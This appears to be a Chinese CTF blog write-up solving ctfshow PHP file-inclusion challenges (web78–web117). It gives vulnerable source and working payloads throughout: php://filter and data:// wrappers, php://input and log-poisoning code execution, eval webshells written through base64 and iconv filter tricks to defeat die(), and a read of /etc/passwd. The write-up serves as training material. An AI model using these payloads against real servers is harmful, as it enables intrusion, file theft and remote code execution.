文件包含(部分)

web78 10

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}
  • include函数,这个表示从外部引入php文件并执行,如果执行不成功,就返回文件的源码。
  • ile关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。
  • 而include的内容是由用户控制的,所以通过我们传递的file参数,是include()函数引入了index.php的base64编码格式,因为是base64编码格式,所以执行不成功,返回源码,所以我们得到了源码的base64格式,解码即可。

伪协议

?file=php://filter/convert.base64-encode/resource=flag.php

web79 10

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

将PHP都替换成?,data伪协议绕过

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
->
<?php system('cat flag.php');?>

<?php ?> 标签的作用:告诉 PHP 解释器 “这部分内容需要作为 PHP 代码执行”,没有该标签则会当作普通文本直接输出

还可以使用大小写绕过

?file=Php://input

再post:<?php system("tac flag.php");?>

php://input 是一个只读流,可获取未被解析的 POST 请求体内容。

web80 10

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

禁用PHP禁用data,使用大小写绕过

GET:
?file=Php://input
POST:
<?php system('tac *.php');?>

或者日志包含绕过

?file=/var/log/nginx/access.log
修改UA为:<?php @eval($_REQUEST[1])?>
1=system("ls");
1=system("tac fl0g.php");

web81 10

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

日志注入,或者使用上一题那种的日志包含绕过也可以

?file=/var/log/nginx/access.log
UA:<?php system('cat fl0g.php')?>

web87 10

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content); 
    
}else{
    highlight_file(__FILE__);
}

filter流绕过死亡die

urldecode()会对传输的file内容进行解码,传输file需要对内容进行两次编码,die()函数会终止执行命令

  • base64编码范围是0~9,a~z,A~Z,+,/,除了 这些字符,其他字符都会被会略
  • <?php die('大佬别秀了');?>进行base64编码后只剩下phpdie6个字符,(只对phpdie进行编码发现编码后的内容是一样的)
  • file 参数用 php://filter/write=convert.base64-encode 来解码写入,这样文件的 die() 就会被 base64 过滤,这样 die() 函数就绕过了

php://filter/write=convert.base64-decode/resource=1.php 进行两次 url 编码。(服务器生成 123.php 文件)

php://filter/write=convert.base64-decode/resource=1.php
两次 url 编码:
%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30

对于 content 参数

方法一:传递<?php system('ls');,进行base64编码(为了让base64正常解码(4个4个字符一解,要配成4的倍数),现在加起来是46个字符,所以我们还得加2个字符配够解码需要的长度,在开头加两个a)

url + ?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%33%32%25%33%33%25%32%65%25%37%30%25%36%38%25%37%30

content=aaPD9waHAgc3lzdGVtKCdscycpOw==

查看生成的1.php文件,发现fl0g.php,传<?php system('cat f*.php');,同样的编码,再次查看1.php

方法二:

传一句话木马,记得进行post传参的时候前面加两a

<?=eval($_POST['a']);
base64 编码:
PD89ZXZhbCgkX1BPU1RbJ2hpJ10pOw==

蚁剑连1.php

web88 10

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
}

禁用一堆符号,但是仔细看发现可以使用data协议,注意+和=即可,构造<?php system('cat f*.php');?>编码

file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZioucGhwJyk7Pz4g

web116 10

入口视频下载,托010,发现png

提取另存为png 格式的图片

<?php
function filter($x){
    if(preg_match('/http|https|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes native!');
    }
}
$file=isset($_GET['file'])?$_GET['file']:"sp2.mp4";
header('Content-Type: video/mp4');
filter($file);
echo file_get_contents($file);
?>

如果没有设置 file,那么默认就是 video/mp4,也就是我们前面看到的视频

?file=flah.php
//或者
?file=/etc/passwd

web117 10

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
  • $file 来自 $_GET[‘file’],PHP 已经自动 URL-decode 过一次。
  • preg_match 是在 解码后的字符串 上跑正则;

所以正则匹配是针对 url 解码后的内容进行,转换字符编码绕过

一句话木马从 UCS-2LE 编码转换为 UCS-2BE 编码(exp)

<?php
$re = iconv("UCS-2LE","UCS-2BE", '<?php @eval($_GET[1]);?>');
echo $re;
?>

得到?<hp pe@av(l_$EG[T]1;)>?

用法:
convert.iconv.<input-encoding>.<output-encoding> 

payload

GET:
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=hack.php
POST:
contents=?<hp pe@av(l_$EG[T]1;)>?

调用

/hack.php?1=system('ls');

改ls为tac flag.php

参考文章:https://blog.csdn.net/KeepPromise/article/details/130506864

https://blog.csdn.net/Myon5/article/details/140228997

ctfshow-web-文件包含 – Mo1u’s blog

上一篇
下一篇